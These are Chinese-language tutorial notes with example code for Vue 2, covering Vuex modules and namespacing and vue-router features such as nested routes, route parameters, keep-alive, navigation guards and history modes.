		<h3>我在{{school}}，学习{{subject}}</h3>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment(n)">+</button>
		<button @click="decrement(n)">-</button>
		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
		<button @click="incrementWait(n)">等一等再加</button>
	</div>
</template>

<script>
	import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		computed:{
			//靠程序员自己亲自去写计算属性
			/*he(){
				return this.$store.state.sum
			},
			xuexiao(){
				return this.$store.state.school
			},
			xueke(){
				return this.$store.state.subject
			}, */

			//借助mapState生成计算属性，从state中读取数据。（对象写法）
			// ...mapState({he:'sum',xuexiao:'school',xueke:'subject'}),
            
			//借助mapState生成计算属性，从state中读取数据。（数组写法）
			...mapState(['sum','school','subject']),

			/* ******************************************************************** */

			/* bigSum(){
				return this.$store.getters.bigSum
			}, */

			//借助mapGetters生成计算属性，从getters中读取数据。（对象写法）
			// ...mapGetters({bigSum:'bigSum'})
			
			//借助mapGetters生成计算属性，从getters中读取数据。（数组写法）
			...mapGetters(['bigSum'])

		},
		methods: {
			//程序员亲自写方法
			/* increment(){
				this.$store.commit('JIA',this.n)
			},
			decrement(){
				this.$store.commit('JIAN',this.n)
			}, */
            
            /*
            // 其实它生成的是这样的函数,如果不指定参数的话,这个e就是事件对象
            	decrement(e){
					this.$store.commit('JIAN',e)
				}
            */

			//借助mapMutations生成对应的方法，方法中会调用commit去联系mutations(对象写法)
			...mapMutations({increment:'JIA',decrement:'JIAN'}),

			//借助mapMutations生成对应的方法，方法中会调用commit去联系mutations(数组写法)
			// ...mapMutations(['JIA','JIAN']),

			/* ************************************************* */

			//程序员亲自写方法
			/* incrementOdd(){
				this.$store.dispatch('jiaOdd',this.n)
			},
			incrementWait(){
				this.$store.dispatch('jiaWait',this.n)
			}, */

			//借助mapActions生成对应的方法，方法中会调用dispatch去联系actions(对象写法)
			...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

			//借助mapActions生成对应的方法，方法中会调用dispatch去联系actions(数组写法)
			// ...mapActions(['jiaOdd','jiaWait'])
		},
		mounted() {
			const x = mapState({he:'sum',xuexiao:'school',xueke:'subject'})
			console.log(x)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

6. 模块化+命名空间

1、目的：让代码更好维护，让多种数据分类更加明确。

2、修改store.js

const countAbout = {
    namespaced:true,//开启命名空间
    state:{x:1},
    mutations: { ... },
    actions: { ... },
    getters: {
        bigSum(state){
        	return state.sum * 10
        }
    }
}

const personAbout = {
    namespaced:true,//开启命名空间
    state:{ ... },
    mutations: { ... },
    actions: { ... }
}

const store = new Vuex.Store({
    modules: {
        countAbout,
        personAbout
    }
})

3、开启命名空间后，组件中读取state数据：

//方式一：自己直接读取
this.$store.state.personAbout.list

//方式二：借助mapState读取：
...mapState('countAbout',['sum','school','subject']),

4、开启命名空间后，组件中读取getters数据：

//方式一：自己直接读取
this.$store.getters['personAbout/firstPersonName']

//方式二：借助mapGetters读取：
...mapGetters('countAbout',['bigSum'])

5、开启命名空间后，组件中调用dispatch

//方式一：自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',person)

//方式二：借助mapActions：
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

6、开启命名空间后，组件中调用commit

//方式一：自己直接commit
this.$store.commit('personAbout/ADD_PERSON',person)

//方式二：借助mapMutations：
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入插件
import vueResource from 'vue-resource'
//引入store
import store from './store'

//关闭Vue的生产提示
Vue.config.productionTip = false
//使用插件
Vue.use(vueResource)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store,
	beforeCreate() {
		Vue.prototype.$bus = this
	}
})

store/index.js

//该文件用于创建Vuex中最为核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
import countOptions from './count'
import personOptions from './person'
//应用Vuex插件
Vue.use(Vuex)

//创建并暴露store
export default new Vuex.Store({
	modules:{
		countAbout:countOptions,
		personAbout:personOptions
	}
})

store/count.js

//求和相关的配置
export default {
	namespaced:true, /* 开启命名空间,这样mapState()中就可以写命名了 */
	actions:{
		jiaOdd(context,value){
			console.log('actions中的jiaOdd被调用了')
			if(context.state.sum % 2){
				context.commit('JIA',value)
			}
		},
		jiaWait(context,value){
			console.log('actions中的jiaWait被调用了')
			setTimeout(()=>{
				context.commit('JIA',value)
			},500)
		}
	},
	mutations:{
		JIA(state,value){
			console.log('mutations中的JIA被调用了')
			state.sum += value
		},
		JIAN(state,value){
			console.log('mutations中的JIAN被调用了')
			state.sum -= value
		},
	},
	state:{
		sum:0, //当前的和
		school:'尚硅谷',
		subject:'前端',
	},
	getters:{
		bigSum(state){
			return state.sum*10
		}
	},
}

store/person.js

//人员管理相关的配置
import axios from 'axios'
import { nanoid } from 'nanoid'
export default {
	namespaced:true,
	actions:{
		addPersonWang(context,value){
			if(value.name.indexOf('王') === 0){
				context.commit('ADD_PERSON',value)
			}else{
				alert('添加的人必须姓王！')
			}
		},
		addPersonServer(context){
			axios.get('https://api.uixsj.cn/hitokoto/get?type=social').then(
				response => {
					context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
				},
				error => {
					alert(error.message)
				}
			)
		}
	},
	mutations:{
		ADD_PERSON(state,value){
			console.log('mutations中的ADD_PERSON被调用了')
			state.personList.unshift(value)
		}
	},
	state:{
		personList:[
			{id:'001',name:'张三'}
		]
	},
	getters:{
		firstPersonName(state){  /* 这里获取的state就是当前person模块的state */
			return state.personList[0].name
		}
	},
}

App.vue

<template>
	<div>
		<Count/>
		<hr>
		<Person/>
	</div>
</template>

<script>
	import Count from './components/Count'
	import Person from './components/Person'

	export default {
		name:'App',
		components:{Count,Person},
		mounted() {
			// console.log('App',this)
		},
	}
</script>

Count.vue

<template>
	<div>
		<h1>当前求和为：{{sum}}</h1>
		<h3>当前求和放大10倍为：{{bigSum}}</h3>
		<h3>我在{{school}}，学习{{subject}}</h3>
		<h3 style="color:red">Person组件的总人数是：{{personList.length}}</h3>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment(n)">+</button>
		<button @click="decrement(n)">-</button>
		<button @click="incrementOdd(n)">当前求和为奇数再加</button>
		<button @click="incrementWait(n)">等一等再加</button>
	</div>
</template>

<script>
	import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		computed:{
			//借助mapState生成计算属性，从state中读取数据。（数组写法）
			...mapState('countAbout',['sum','school','subject']),
			...mapState('personAbout',['personList']),
            
            // ...mapState({bannerList:state=>state.home.bannerList}) // 获取home模块下的bannerList
            
			//借助mapGetters生成计算属性，从getters中读取数据。（数组写法）
			...mapGetters('countAbout',['bigSum'])
		},
		methods: {
			//借助mapMutations生成对应的方法，方法中会调用commit去联系mutations(对象写法)
			...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
			//借助mapActions生成对应的方法，方法中会调用dispatch去联系actions(对象写法)
			...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
		},
		mounted() {
			console.log(this.$store)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

Person.vue

<template>
	<div>
		<h1>人员列表</h1>
        
		<h3 style="color:red">Count组件求和为：{{sum}}</h3>
        
		<h3>列表中第一个人的名字是：{{firstPersonName}}</h3>
        
		<input type="text" placeholder="请输入名字" v-model="name">
        
		<button @click="add">添加</button>
        
		<button @click="addWang">添加一个姓王的人</button>
        
		<button @click="addPersonServer">添加一个人，名字随机</button>
		<ul>
			<li v-for="p in personList" :key="p.id">{{p.name}}</li>
		</ul>
	</div>
</template>

<script>
	import {nanoid} from 'nanoid'
	export default {
		name:'Person',
		data() {
			return {
				name:''
			}
		},
		computed:{
			personList(){
				return this.$store.state.personAbout.personList
			},
			sum(){
				return this.$store.state.countAbout.sum // 不同mapXXX,自己手动写法
			},
			firstPersonName(){
				return this.$store.getters['personAbout/firstPersonName']// 不同mapXXX,自己手动写法
			}
		},
		methods: {
			add(){
				const personObj = {id:nanoid(),name:this.name}
				this.$store.commit('personAbout/ADD_PERSON',personObj) // 不同mapXXX,自己手动写法
				this.name = ''
			},
			addWang(){
				const personObj = {id:nanoid(),name:this.name}
				this.$store.dispatch('personAbout/addPersonWang',personObj)// 不同mapXXX,自己手动写法
				this.name = ''
			},
			addPersonServer(){
				this.$store.dispatch('personAbout/addPersonServer')// 不同mapXXX,自己手动写法
			}
		},
	}
</script>

20. 路由

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FUQtNW6l-1678282228367)(assets/image-20220131105820687.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XwZeWcks-1678282228368)(assets/image-20220131112231923.png)]

路由相关理解

vue-router 的理解

vue 的一个插件库，专门用来实现 SPA 应用

对 SPA 应用的理解

1、单页 Web 应用（single page web application，SPA）。

2、整个应用只有一个完整的页面。

3、点击页面中的导航链接不会刷新页面，只会做页面的局部更新。

4、数据需要通过 ajax 请求获取。

路由的理解

1、什么是路由?

  1. 一个路由就是一组映射关系（key - value）
  2. key 为路径, value 可能是 function 或 component

2、路由分类

  1. 后端路由：
    1. 理解：value 是 function, 用于处理客户端提交的请求。
      2) 工作过程：服务器接收到一个请求时, 根据请求路径找到匹配的函数，来处理请求, 返回响应数据。
  2. 前端路由：
    1. 理解：value 是 component，用于展示页面内容。
    2. 工作过程：当浏览器的路径改变时, 对应的组件就会显示。

基本使用

1、安装vue-router，命令：npm i vue-router

2、应用插件：Vue.use(VueRouter)

3、编写router配置项:

//引入VueRouter
import VueRouter from 'vue-router'
//引入Luyou 组件
import About from '../components/About'
import Home from '../components/Home'

//创建router实例对象，去管理一组一组的路由规则
const router = new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home
        }
    ]
})

//暴露router
export default router

4、实现切换（active-class可配置高亮样式）

<router-link active-class="active" to="/about">About</router-link>

5、指定展示位置

<router-view></router-view>

案例代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Fsn4yUmX-1678282228368)(assets/image-20220131170924864.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gvASSrMS-1678282228369)(assets/image-20220131173937370.png)]

main.js

//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'

//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	router:router /* 当安装vue-router插件后，才可以配置router */
})

App.vue

<template>
<div>
  <div class="row">
    <div class="col-xs-offset-2 col-xs-8">
      <div class="page-header"><h2>Vue Router Demo</h2></div>
    </div>
  </div>
  <div class="row">
    <div class="col-xs-2 col-xs-offset-2">
      <div class="list-group">
        <!-- 原始html中我们使用a标签实现页面的跳转 -->
        <!-- <a class="list-group-item active" href="./about.html">About</a> -->
        <!-- <a class="list-group-item" href="./home.html">Home</a> -->

        <!-- Vue中借助router-link标签实现路由的切换 -->
        <!-- router-link最后也会渲染成a标签; active-class表示路由被激活时的样式; to表示要到的路由路径 -->
        <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
          
        <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
      </div>
    </div>
    <div class="col-xs-6">
      <div class="panel">
        <div class="panel-body">
            
          <!-- 指定路由所匹配到的组件的呈现位置 -->
          <router-view></router-view>
            
        </div>
      </div>
    </div>
  </div>
</div>
</template>

<script>
export default {
  name:'App',
}
</script>

router/index.js

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../components/About'
import Home from '../components/Home'

//创建并暴露一个路由器
export default new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home
		}
	]
})

About.vue

<template>
	<h2>我是About的内容</h2>
</template>

<script>
	export default {
		name:'About'
	}
</script>

Home.vue

<template>
	<h2>我是Home的内容</h2>
</template>

<script>
	export default {
		name:'Home'
	}
</script>

几个注意点

1、路由组件通常存放在pages文件夹，一般组件通常存放在components文件夹。

2、通过切换，“隐藏”了的路由组件，默认是被销毁掉的，需要的时候再去挂载。

3、每个组件都有$route属性，里面存储着当前的路由信息，并且是同一个对象。

4、整个应用只有一个router，每个组件都可以通过组件的$router属性获取到这一个router。

嵌套路由

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-waYy14at-1678282228369)(assets/image-20220131210743492.png)]

1、配置路由规则，使用children配置项：

routes:[
    {
        path:'/about',     // 一级路由
        component:About,
    },
    {
        path:'/home',
        component:Home,
        children:[ //通过children配置子级路由   
            {
                path:'', // 可以设置一个空字符串，'/home'默认跳到'/home/news'
                redirect:'news'
            },      
            {                 
                // 二级路由, 
                // 如果路径匹配到了二级路由,那么先渲染完一级路由所对应的组件,放到App组件的路由位置,
                // 然后, 渲染二级路由所对应的组件,放到父路由的路由位置（可以通过路由钩子查看到顺序）。
                // 这样先渲染完父级路由组件的好处是，如果父级路由组件没有路由位置,则不需要创建子组件了，
                // 如果父级路由组件有多个路由位置，那么会多次创建子组件。
                // 如果路径只匹配到了父级路由组件,那么父级路由组件中如果有路由位置的话,也不会渲染出来。
                path:'news', //此处一定不要写：/news     
                component:News
            },
            {
                path:'message',//此处一定不要写：/message
                component:Message
            }
    	]
    }
]

2、跳转（要写完整路径）：

<router-link to="/home/news">News</router-link>

案例代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7x821ybE-1678282228369)(assets/image-20220201204437578.png)]

public/index.html
<!DOCTYPE html>
<html lang="">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <link rel="icon" href="<%= BASE_URL %>favicon.ico">
    <link rel="stylesheet" href="<%= BASE_URL %>bootstrap.css">
    <title><%= htmlWebpackPlugin.options.title %></title>
  </head>
  <body>
    <noscript>
      <strong>We're sorry but <%= htmlWebpackPlugin.options.title %> doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
    </noscript>
    <div id="app"></div>
    <!-- built files will be auto injected -->
  </body>
</html>
main.js
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入VueRouter
import VueRouter from 'vue-router'
//引入路由器
import router from './router'

//关闭Vue的生产提示
Vue.config.productionTip = false
//应用插件
Vue.use(VueRouter)

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	router:router
})
router/index.js
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'

//创建并暴露一个路由器
export default new VueRouter({
	routes:[
        {
            path:'/',
            redirect: '/home'  // 当匹配到'/'时，重定向到'/home'，（这里也可以直接写'home'，前面不带'/'）
        },
		{
			path:'/about',
			component:About
		},
		{
			path:'/home', /* 一级路由前面要加'/' */
			component:Home,
            redirect: 'message'  // 当匹配到'/home'时，重定向到'/home/message'
			children:[
				{
					path:'news',  /* 子路由前面不要加'/' */
					component:News,
				},
				{
					path:'message',
					component:Message,
				}
			]
		}
	]
})
app.vue
<template>
<div>
  <div class="row">
    <Banner/>
  </div>
  <div class="row">
    <div class="col-xs-2 col-xs-offset-2">
      <div class="list-group">
        <!-- 原始html中我们使用a标签实现页面的跳转 -->
        <!-- <a class="list-group-item active" href="./about.html">About</a> -->
        <!-- <a class="list-group-item" href="./home.html">Home</a> -->

        <!-- Vue中借助router-link标签实现路由的切换 -->
        <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
        <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
      </div>
    </div>
    <div class="col-xs-6">
      <div class="panel">
        <div class="panel-body">
            
          <!-- 指定组件的呈现位置 -->
          <router-view></router-view>
            
        </div>
      </div>
    </div>
  </div>
</div>
</template>

<script>
	import Banner from './components/Banner'
	export default {
		name:'App',
		components:{Banner}
	}
</script>
pages/Home.vue
<template>
<div>
	<h2>Home组件内容</h2>
	<div>
		<ul class="nav nav-tabs">
			<li>
				<router-link class="list-group-item" active-class="active" 
                             to="/home/news">News</router-link>
			</li>
			<li>
				<router-link class="list-group-item" active-class="active"
                             to="/home/message">Message</router-link>
			</li>
		</ul>
		<router-view></router-view>
	</div>
</div>
</template>

<script>
	export default {
		name:'Home',
		/* beforeDestroy() {
			console.log('Home组件即将被销毁了')
		}, */
		/* mounted() {
			console.log('Home组件挂载完毕了',this)
			window.homeRoute = this.$route
			window.homeRouter = this.$router
		},  */
	}
</script>
pages/News.vue
<template>
	<ul>
		<li>news001</li>
		<li>news002</li>
		<li>news003</li>
	</ul>
</template>

<script>
	export default {
		name:'News'
	}
</script>
pages/Message.vue
<template>
	<div>
		<ul>
			<li>
				<a href="/message1">message001</a>&nbsp;&nbsp;
			</li>
			<li>
				<a href="/message2">message002</a>&nbsp;&nbsp;
			</li>
			<li>
				<a href="/message/3">message003</a>&nbsp;&nbsp;
			</li>
		</ul>
	</div>
</template>

<script>
	export default {
		name:'Message'
	}
</script>
pages/About.vue
<template>
	<h2>我是About的内容</h2>
</template>

<script>
	export default {
		name:'About',
		/* beforeDestroy() {
			console.log('About组件即将被销毁了')
		},*/
		/* mounted() {
			console.log('About组件挂载完毕了',this)
			window.aboutRoute = this.$route
			window.aboutRouter = this.$router
		},  */
	}
</script>
components/Banner.vue
<template>
	<div class="col-xs-offset-2 col-xs-8">
		<div class="page-header"><h2>Vue Router Demo</h2></div>
	</div>
</template>

<script>
	export default {
		name:'Banner'
	}
</script>

命名路由

  1. 作用：可以简化路由的跳转。

  2. 如何使用

    1. 给路由命名：

      {
	path:'/demo',
	component:Demo,
	children:[
		{
			path:'test',
			component:Test,
			children:[
				{
               		name:'hello' //给路由命名
					path:'welcome',
					component:Hello,
				}
			]
		}
	]
}

    2. 简化跳转：

      <!--简化前，需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>

<!--简化后，直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>

<!--简化写法配合传递参数 -->
<router-link 
	:to="{
         	name:'hello', // 要跳转的路由名称, 就可以不用写长长的路径了
         	query:{
         		id:666,
         		title:'你好'
            }
        }"
>跳转</router-link>

路由的query参数

1、传递参数

<!-- 跳转并携带query参数，to的字符串写法 -->
<router-link :to="/home/message/detail?id=666&title=你好">跳转</router-link>

<!-- 跳转并携带query参数，to的对象写法 -->
<router-link
        :to="{
                path:'/home/message/detail',
                query:{    // 此方式会将参数拼接成url?xxx=yyy&xxx=yyy形式
                    id:666,
             		title:'你好'
                }
   			}"
>
    跳转
</router-link>

2、接收参数：

// 不只是路由组件能获取到路由参数，其它非路由组件，或者说其它组件也能正常获取到，
// 所以上面使用query这种方式本质就是在url后面url?xxx=yyy&xxx=yyy东西而已
$route.query.id    
$route.query.title

路由的params参数

1、配置路由，声明接收params参数

{
    path:'/home',
    component:Home,
    children:[
        {
            path:'news',
            component:News
        },
        {
            component:Message,
            children:[
                {
                    name:'xiangqing',
                    path:'detail/:id/:title',//使用占位符声明接收params参数,占位符的名字就作为params对象中的key
                    component:Detail
                }
            ]
        }
    ]
}

2、传递参数

<!-- 跳转并携带params参数，to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>

<!-- 跳转并携带params参数，to的对象写法 -->
<router-link
        :to="{
                name:'xiangqing',
                params:{
                   id:666,
                   title:'你好'
                }
   			}"
>跳转</router-link>

特别注意：路由携带params参数时，若使用to的对象写法，则不能使用path配置项，必须使用name配置！

3、接收参数：

// 不只是路由组件能获取到路由参数，其它非路由组件，或者说其它组件也能正常获取到，
// 所以上面使用params这种方式本质就是在后面拼接url/{id}/{title}而已
$route.params.id
$route.params.title

路由的props配置

作用：让路由组件更方便的收到参数

// router/index.js
{
    name:'xiangqing',
    path:'detail/:id',
    component:Detail,

    // 这3种写法，只是为了方便在组件中，更方便的收到参数,而不用一遍遍的写this.$route.。而是直接使用props接收
    
    //第一种写法：props值为对象，该对象中所有的key-value的组合最终都会通过props传给Detail组件,
    //                                                                 
    // props:{a:900}

    //第二种写法：props值为布尔值，布尔值为true，则会把路由收到的所有params参数通过props传给Detail组件
    // props:true

    //第三种写法：props值为函数，该函数返回的对象中每一组key-value都会通过props传给Detail组件
    props(route){
        return {
            id: route.query.id,
            title: route.query.title
        }
    }
    // 第三种简化写法(不太推荐)
    /*props({query: {id,title}}){ // 双重解构赋值
        return  {id:title}
    }
    */
}

// Detail.vue
export default {
    name:'Detail',
    props:['id','title'], //  Detail组件用props配置项去接受即可使用
}

router-link的replace属性

1、作用：控制路由跳转时操作浏览器历史记录的模式

2、浏览器的历史记录有两种写入方式：分别为push和replace，push是追加历史记录，replace是替换当前记录。路由跳转时候默认为push

3、如何开启replace模式：<router-link replace to="/home/news">News</router-link>，即添加replace属性即可

编程式路由导航

1、作用：不借助<router-link> 实现路由跳转，让路由跳转更加灵活

2、具体编码：

//$router的两个API
this.$router.push({
    name:'xiangqing',
    params:{
        id:xxx,
        title:xxx
    }
})

this.$router.replace({
    name:'xiangqing',
    params:{
        id:xxx,
        title:xxx
    }
})

1. this.$router.push(path): 相当于点击路由链接(可以返回到当前路由界面)
2. this.$router.replace(path): 用新路由替换当前路由(不可以返回到当前路由界面)

3. this.$router.back(): 请求(返回)上一个记录路由
4. this.$router.forward(): 请求(前进)上一个记录路由

5. this.$router.go(-1): 请求(返回)上一个记录路由
6. this.$router.go(1): 请求下一个记录路由

缓存路由组件

1、作用：让不展示的路由组件保持挂载，不被销毁，比如用户输入了内容，路由切换了，又切回来，内容还在。

2、具体编码：

<keep-alive include="News"> <!-- 如果不写,则所有在此处渲染的组件都会被缓存; 写了,则只会缓存对应的组件 -->
    <router-view></router-view>
</keep-alive>

<!-- 这里写的是组件名。如果多个的话，使用v-bind绑定组件名数组 -->
<keep-alive :include="['News','Mesage']">
    <router-view></router-view>
</keep-alive>

两个新的生命周期钩子

1、作用：路由组件所独有的两个钩子函数，用于捕获路由组件的激活状态。
2、具体名字：

  1. activated路由组件被激活时触发（也就是组件被切中展示）。
  2. deactivated路由组件失活时触发（也就是组件被切走隐藏）。

路由守卫

1、作用：对路由进行权限控制

2、分类：全局守卫、独享守卫、组件内守卫

3、全局守卫:

// 【全局前置守卫：初始化时执行、每次路由切换前执行】
router.beforeEach((to,from,next)=>{
    
    console.log('beforeEach',to,from)
    
    if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
        
        if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
            
        	next() //放行
            
        }else{
            
        	alert('暂无权限查看')
            
        	// next({name:'guanyu'}) // 如果不调用next()放行的话,是不会切换到新的路由的
        	// next({path:'/'})      // 如果不调用next()放行的话,是不会切换到新的路由的
            
        }
    }else{
        next() //放行
    }
})

//【全局后置守卫：初始化时执行、每次路由切换后执行】
router.afterEach((to,from)=>{ // 注意这里没有next参数哦
    console.log('afterEach',to,from)
    if(to.meta.title){
    	document.title = to.meta.title //修改网页的title
    }else{
    	document.title = 'vue_test'
    }
})

// 还可以在路由跳转的时候加上redirect给$route的query对象中,来保存用户未登录前想去的路由。等用户登录了,就跳过去。
// 例: next(`login?redirect=${to.path}`)

// next(false) 取消当前的导航（从哪来回哪去）
// 即：如果浏览器的 URL 改变了(可能是用户手动或者浏览器后退按钮)，那么 URL 地址会重置到 from 路由对应的地址

4、路由独享守卫:

beforeEnter(to,from,next){
    console.log('beforeEnter',to,from)
    if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
        if(localStorage.getItem('school') === 'atguigu'){
        	next()
        }else{
        	alert('暂无权限查看')
        	// next({name:'guanyu'})
    	}
    }else{
    	next()
    }
}

5、组件内守卫：

beforeRouteEnter(to, from) {
    // 在渲染该组件的对应路由被验证前调用
    // 不能获取组件实例 `this` ！
    // 因为当守卫执行时，组件实例还没被创建！
},
    
beforeRouteUpdate(to, from) {
    // 在当前路由改变，但是该组件被复用时调用
    // 举例来说，对于一个带有动态参数的路径 `/users/:id`，在 `/users/1` 和 `/users/2` 之间跳转的时候，
    // 由于会渲染同样的 `UserDetails` 组件，因此组件实例会被复用。而这个钩子就会在这个情况下被调用。
    // 因为在这种情况发生的时候，组件已经挂载好了，导航守卫可以访问组件实例 `this`
},
    
beforeRouteLeave(to, from) {
    // 在导航离开渲染该组件的对应路由时调用
    // 与 `beforeRouteUpdate` 一样，它可以访问组件实例 `this`
},

全局(前置/后置)路由守卫

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
	routes:[
		{
			name:'guanyu',
			path:'/about',
			component:About,
			meta:{title:'关于'}
		},
		{
			name:'zhuye',
			path:'/home',
			component:Home,
			meta:{title:'主页'},
			children:[
				{
					name:'xinwen',
					path:'news',
					component:News,
					meta:{            // meta元数据,才能从路由$route中获取该meta数据
                        isAuth:true,
                        title:'新闻'
                    }
				},
				{
					name:'xiaoxi',
					path:'message',
					component:Message,
					meta:{isAuth:true,title:'消息'},
					children:[
						{
							name:'xiangqing',
							path:'detail',
							component:Detail,
							meta:{isAuth:true,title:'详情'},
							props($route){
								return {
									id:$route.query.id,
									title:$route.query.title,
									a:1,
									b:'hello'
								}
							}

						}
					]
				}
			]
		}
	]
})

//全局前置路由守卫————初始化的时候被调用、每次路由切换之前被调用
router.beforeEach((to,from,next)=>{
	console.log('前置路由守卫',to,from)
	if(to.meta.isAuth){ //判断是否需要鉴权
		if(localStorage.getItem('school')==='atguigu'){
			next()
		}else{
			alert('学校名不对，无权限查看！')
		}
	}else{
		next()
	}
})

//全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
	console.log('后置路由守卫',to,from)
	document.title = to.meta.title || '硅谷系统' // 在路由切换成功完成之后,修改网页title
})

export default router

独享路由守卫

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
	routes:[
		{
			name:'guanyu',
			path:'/about',
			component:About,
			meta:{title:'关于'}
		},
		{
			name:'zhuye',
			path:'/home',
			component:Home,
			meta:{title:'主页'},
			children:[
				{
					name:'xinwen',
					path:'news',
					component:News,
					meta:{isAuth:true,title:'新闻'},
                    // 【独享路由守卫】
					beforeEnter: (to, from, next) => {
						console.log('独享路由守卫',to,from)
						if(to.meta.isAuth){ //判断是否需要鉴权
							if(localStorage.getItem('school')==='atguigu'){
								next()
							}else{
								alert('学校名不对，无权限查看！')
							}
						}else{
							next()
						}
					}
				},
				{
					name:'xiaoxi',
					path:'message',
					component:Message,
					meta:{isAuth:true,title:'消息'},
					children:[
						{
							name:'xiangqing',
							path:'detail',
							component:Detail,
							meta:{isAuth:true,title:'详情'},
							props($route){
								return {
									id:$route.query.id,
									title:$route.query.title,
									a:1,
									b:'hello'
								}
							}

						}
					]
				}
			]
		}
	]
})

//全局前置路由守卫————初始化的时候被调用、每次路由切换之前被调用
router.beforeEach((to,from,next)=>{
	console.log('前置路由守卫',to,from)
	if(to.meta.isAuth){ //判断是否需要鉴权
		if(localStorage.getItem('school')==='atguigu'){
			next()
		}else{
			alert('学校名不对，无权限查看！')
		}
	}else{
		next()
	}
})

//全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
	console.log('后置路由守卫',to,from)
	document.title = to.meta.title || '硅谷系统'
})

export default router

组件内路由守卫

<template>
	<h2>我是About的内容</h2>
</template>

<script>
	export default {
		name:'About',

		//通过路由规则，进入该组件时被调用
		beforeRouteEnter (to, from, next) {
			console.log('About--beforeRouteEnter',to,from)
			if(to.meta.isAuth){ //判断是否需要鉴权
				if(localStorage.getItem('school')==='atguigu'){
					next()
				}else{
					alert('学校名不对，无权限查看！')
				}
			}else{
				next()
			}
		},

		//通过路由规则，离开该组件时被调用
		beforeRouteLeave (to, from, next) {
			console.log('About--beforeRouteLeave',to,from)
			next()
		}
	}
</script>

路由懒加载

// 将
// import UserDetails from './views/UserDetails'
// 替换成
const UserDetails = () => import('./views/UserDetails') // import函数返回的是一个Promise

const router = createRouter({
  // ...
  routes: [{ path: '/users/:id', component: UserDetails }],
})

// component (和 components) 配置接收一个返回 Promise 组件的函数，Vue Router 只会在第一次进入页面时才会获取这个函数，然后使用缓存数据。这意味着可以使用更复杂的函数，只要它们返回一个 Promise ：
// 一般来说，对所有的路由都使用动态导入

路由器的两种工作模式

1、对于一个url来说，什么是hash值？—— #及其后面的内容就是hash值。

2、hash值不会包含在 HTTP 请求中，即：hash值不会带给服务器。

3、hash模式：

   1. 地址中永远带着#号，不美观 。
   2. 若以后将地址通过第三方手机app分享，若app校验严格，则地址会被标记为不合法。
   3. 兼容性较好。

4、history模式：

   1. 地址干净，美观 。
   2. 兼容性和hash模式相比略差。
   3. 应用部署上线时需要后端人员支持，解决刷新页面服务端404的问题。

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
